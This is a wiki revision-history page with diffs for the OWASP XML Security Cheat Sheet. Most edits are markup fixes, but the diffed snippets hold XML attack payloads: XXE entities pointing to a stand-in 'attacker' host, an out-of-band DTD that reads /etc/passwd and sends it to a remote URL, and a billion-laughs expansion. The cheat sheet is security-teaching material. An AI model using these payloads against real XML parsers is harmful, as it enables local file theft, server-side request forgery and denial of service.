XML Security Cheat Sheet - Revision history

Dominique RIGHETTO: Point to the official site

2019-07-15T14:32:06Z

Point to the official site

Dominique RIGHETTO: Migration to GitHub of the project

2019-02-16T17:54:30Z

Migration to GitHub of the project

Show changes

Fernando.arnaboldi: White space missing

2018-03-13T20:00:37Z

White space missing

Fernando.arnaboldi: /* Server Side Request Forgery */

2017-05-04T16:41:26Z

‎Server Side Request Forgery

Fernando.arnaboldi: Server Side Request Forgery: DNS Resolution. Removed unnecessary links.

2017-05-03T19:53:14Z

Server Side Request Forgery: DNS Resolution. Removed unnecessary links.

Fernando.arnaboldi: /* Authors and Primary Editors */

2017-01-17T22:51:42Z

‎Authors and Primary Editors

Jmanico at 19:37, 11 January 2017

2017-01-11T19:37:04Z

Fernando.arnaboldi at 21:27, 21 December 2016

2016-12-21T21:27:26Z

Fernando.arnaboldi at 21:13, 21 December 2016

2016-12-21T21:13:02Z

Fernando.arnaboldi at 21:01, 21 December 2016

2016-12-21T21:01:00Z

← Older revision		Revision as of 14:32, 15 July 2019
Line 4:		Line 4:
	The Cheat Sheet Series project has been moved to [https://github.com/OWASP/CheatSheetSeries GitHub]!		The Cheat Sheet Series project has been moved to [https://github.com/OWASP/CheatSheetSeries GitHub]!

−	Please visit [https://~~github~~.~~com/OWASP/CheatSheetSeries/blob/master~~/cheatsheets/XML_Security_Cheat_Sheet.md XML Security Cheat Sheet] to see the latest version of the cheat sheet.	+	Please visit [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html XML Security Cheat Sheet] to see the latest version of the cheat sheet.

@@ Line 610: / Line 610: @@
   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE root [
-   <!ENTITY '''%xxe''' SYSTEM "'''<nowiki>http://attacker/evil.dtd</nowiki>'''">
+   <!ENTITY '''% xxe''' SYSTEM "'''<nowiki>http://attacker/evil.dtd</nowiki>'''">
    '''%xxe;'''
   ]>

@@ Line 601: / Line 601: @@
 Server Side Request Forgery (SSRF ) happens when the server receives a malicious XML schema, which makes the server retrieve remote resources such as a file, a file via HTTP/HTTPS/FTP, etc. SSRF has been used to retrieve remote files, to prove a XXE when you cannot reflect back the file or perform port scanning, or perform brute force attacks on internal networks.
-'''External DNS Resolution'''
+==== External DNS Resolution ====
 Sometimes is possible to induce the application to perform server-side DNS lookups of arbitrary domain names. This is one of the simplest forms of SSRF, but requires the attacker to analyze the DNS traffic. Burp has a plugin that checks for this attack.

@@ Line 3: / Line 3: @@
 {| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
-| valign="top"  style="border-right: 1px dotted gray;padding-right:25px;" |
+| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
 Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
-<br/>
+<br />
   __TOC__{{TOC hidden}}
 = Introduction =
@@ Line 31: / Line 31: @@
 === Malformed Document to Malformed Document ===
 According to the XML specification, the string <tt>--</tt> (double-hyphen) must not occur within comments. Using the recovery mode of lxml and PHP, the following document will remain the same after being recovered:
- <pre><element>
+<pre><element>
   <!-- one
    <!-- another comment
@@ Line 40: / Line 40: @@
 Certain parsers may consider normalizing the contents of your <tt>CDATA</tt> sections. This means that they will update the special characters contained in the <tt>CDATA</tt> section to contain the safe versions of these characters even though is not required:
   <element>
-   <![CDATA[<script>a=1;</script>]]>
+   <![CDATA[<nowiki><script>a=1;</script></nowiki>]]>
   </element>
@@ Line 127: / Line 127: @@
 To avoid repeating old errors, an XML schema may be defined to prevent processing the incorrect structure in cases where an attacker wants to introduce additional elements:
-  <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
+  <xs:schema xmlns:xs="<nowiki>http://www.w3.org/2001/XMLSchema</nowiki>">
    <xs:element name="buy">
     <xs:complexType>
@@ Line 154: / Line 154: @@
 The data types <tt>float</tt> and <tt>double</tt> contain real numbers and some special values: <tt>-Infinity</tt> or <tt>-INF</tt>, <tt>NaN</tt>, and <tt>+Infinity</tt> or <tt>INF</tt>. These possibilities may be useful to express certain values, but they are sometimes misused. The problem is that they are commonly used to express only real numbers such as prices. This is a common error seen in other programming languages, not solely restricted to these technologies.
 Not considering the whole spectrum of possible values for a data type could make underlying applications fail. If the special values <tt>Infinity</tt> and <tt>NaN</tt> are not required and only real numbers are expected, the data type <tt>decimal</tt> is recommended:
-  <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
+  <xs:schema xmlns:xs="<nowiki>http://www.w3.org/2001/XMLSchema</nowiki>">
    <xs:element name="buy">
     <xs:complexType>
@@ Line 241: / Line 241: @@
 ==== Occurrences ====
 The consequences of not defining a maximum number of occurrences could be worse than coping with the consequences of what may happen when receiving extreme numbers of items to be processed. Two attributes specify minimum and maximum limits: <tt>minOccurs</tt> and <tt>maxOccurs</tt>. The default value for both the <tt>minOccurs</tt> and the <tt>maxOccurs</tt> attributes is <tt>1</tt>, but certain elements may require other values. For instance, if a value is optional, it could contain a <tt>minOccurs</tt> of 0, and if there is no limit on the maximum amount, it could contain a <tt>maxOccurs</tt> of <tt>unbounded</tt>, as in the following example:
-  <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
+  <xs:schema xmlns:xs="<nowiki>http://www.w3.org/2001/XMLSchema</nowiki>">
    <xs:element name="operation">
     <xs:complexType>
@@ Line 268: / Line 268: @@
 * Width attack: using a huge number of attributes, attribute names, and/or attribute values.
 In most cases, the overall result will be a huge document. This is a short example of what this looks like:
-  <SOAPENV:ENVELOPE XMLNS:SOAPENV="HTTP://SCHEMAS.XMLSOAP.ORG/SOAP/ENVELOPE/" XMLNS:EXT="HTTP://COM/IBM/WAS/WSSAMPLE/SEI/ECHO/B2B/EXTERNAL">
+  <SOAPENV:ENVELOPE XMLNS:SOAPENV="<nowiki>HTTP://SCHEMAS.XMLSOAP.ORG/SOAP/ENVELOPE/</nowiki>" XMLNS:EXT="<nowiki>HTTP://COM/IBM/WAS/WSSAMPLE/SEI/ECHO/B2B/EXTERNAL</nowiki>">
    <SOAPENV:HEADER '''LARGENAME1'''="'''LARGEVALUE'''" '''LARGENAME2'''="'''LARGEVALUE2'''" '''LARGENAME3'''="'''LARGEVALUE3'''" …>
    ...
@@ Line 276: / Line 276: @@
   <?xml version="1.0"?>
   <!DOCTYPE root [
-   <!ENTITY '''file''' SYSTEM "'''http://attacker/huge.xml'''" >
+   <!ENTITY '''file''' SYSTEM "'''<nowiki>http://attacker/huge.xml</nowiki>'''" >
   ]>
   <root>'''&file;'''</root>
@@ Line 581: / Line 581: @@
    <!ENTITY LOL9 "&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;">
   ]>
-  <SOAP:ENVELOPE ENTITYREFERENCE="'''&LOL9;'''" XMLNS:SOAP="HTTP://SCHEMAS.XMLSOAP.ORG/SOAP/ENVELOPE/">
+  <SOAP:ENVELOPE ENTITYREFERENCE="'''&LOL9;'''" XMLNS:SOAP="<nowiki>HTTP://SCHEMAS.XMLSOAP.ORG/SOAP/ENVELOPE/</nowiki>">
    <SOAP:BODY>
-    <KEYWORD XMLNS="URN:PARASOFT:WS:STORE">FOO</KEYWORD>
+    <KEYWORD XMLNS="<nowiki>URN:PARASOFT:WS:STORE</nowiki>">FOO</KEYWORD>
    </SOAP:BODY>
   </SOAP:ENVELOPE>
@@ Line 600: / Line 600: @@
 === Server Side Request Forgery ===
 Server Side Request Forgery (SSRF ) happens when the server receives a malicious XML schema, which makes the server retrieve remote resources such as a file, a file via HTTP/HTTPS/FTP, etc. SSRF has been used to retrieve remote files, to prove a XXE when you cannot reflect back the file or perform port scanning, or perform brute force attacks on internal networks.
 ==== External Connection ====
@@ Line 605: / Line 610: @@
   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE root [
-   <!ENTITY '''%xxe''' SYSTEM "'''http://attacker/evil.dtd'''">
+   <!ENTITY '''%xxe''' SYSTEM "'''<nowiki>http://attacker/evil.dtd</nowiki>'''">
    '''%xxe;'''
   ]>
@@ Line 614: / Line 619: @@
   <!DOCTYPE root [
    <!ENTITY % '''file''' SYSTEM "'''file:///etc/passwd'''">
-   <!ENTITY % '''dtd''' SYSTEM "'''http://attacker/evil.dtd'''">
+   <!ENTITY % '''dtd''' SYSTEM "'''<nowiki>http://attacker/evil.dtd</nowiki>'''">
    '''%dtd;'''
   ]>
@@ Line 621: / Line 626: @@
 Here the DTD defines two external parameter entities: <tt>file</tt> loads a local file, and <tt>dtd</tt> which loads a remote DTD. The remote DTD should contain something like this::
   <?xml version="1.0" encoding="UTF-8"?>
-  <!ENTITY % '''all''' "<!ENTITY '''send''' SYSTEM ''''http://example.com/?%file;''''''>">
+  <!ENTITY % '''all''' "<!ENTITY '''send''' SYSTEM '<nowiki/>'''<nowiki>http://example.com/?%file;'</nowiki>'''''>">''
   '''%all;'''
@@ Line 634: / Line 639: @@
 ''' 2) Error-based '''
 If you are unable to see the response from the remote server, you may be able to use the error response. Consider a web service leaking details on what went wrong in the SOAP Fault element when trying to establish a connection:
-  java.io.IOException: Server returned HTTP response code: 401 for URL: http://192.168.1.1:80
+  java.io.IOException: Server returned HTTP response code: 401 for URL: <nowiki>http://192.168.1.1:80</nowiki>
    at sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1459)
    at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.setupCurrentEntity(XMLEntityManager.java:674)
@@ Line 662: / Line 667: @@
 [[Category:OWASP_Breakers]]
 {{TOC hidden}}

@@ Line 653: / Line 653: @@
 =Authors and Primary Editors=
-[mailto:fernando.arnaboldi@ioactive.com Fernando Arnaboldi]
+Fernando Arnaboldi - fernando.arnaboldi [at] ioactive.com
 = Other Cheatsheets =

← Older revision		Revision as of 19:37, 11 January 2017
Line 1:		Line 1:
−	== Introduction ==	+	__NOTOC__
		+	<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg\|link=]]</div>
		+
		+	{\| style="padding: 0;margin:0;margin-top:10px;text-align:left;" \|-
		+	\| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" \|
		+	Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
		+	<br/>
		+	__TOC__{{TOC hidden}}
		+	= Introduction =

	Specifications for XML and XML schemas include multiple security flaws. At the same time, these specifications provide the tools required to protect XML applications. Even though we use XML schemas to define the security of XML documents, they can be used to perform a variety of attacks: file retrieval, server side request forgery, port scanning, or brute forcing. This cheat sheet exposes how to exploit the different possibilities in libraries and software divided in two sections:		Specifications for XML and XML schemas include multiple security flaws. At the same time, these specifications provide the tools required to protect XML applications. Even though we use XML schemas to define the security of XML documents, they can be used to perform a variety of attacks: file retrieval, server side request forgery, port scanning, or brute forcing. This cheat sheet exposes how to exploit the different possibilities in libraries and software divided in two sections:

@@ Line 345: / Line 345: @@
 == XML Entity Expansion ==
 If the parser uses a DTD, an attacker might inject data that may adversely affect the XML parser during document processing. These adverse effects could include the parser crashing or accessing local files.
 === Recursive Entity Reference ===

@@ Line 463: / Line 463: @@
 ==== Brute Forcing ====
 Once an attacker confirms that it is possible to perform a port scan, performing a brute force attack is a matter of embedding the <tt>username</tt> and <tt>password</tt> as part of the URI scheme (http, ftp, etc). For example the following :
-  http://username:password@example.com:8080/
+  <!DOCTYPE root [
 =Authors and Primary Editors=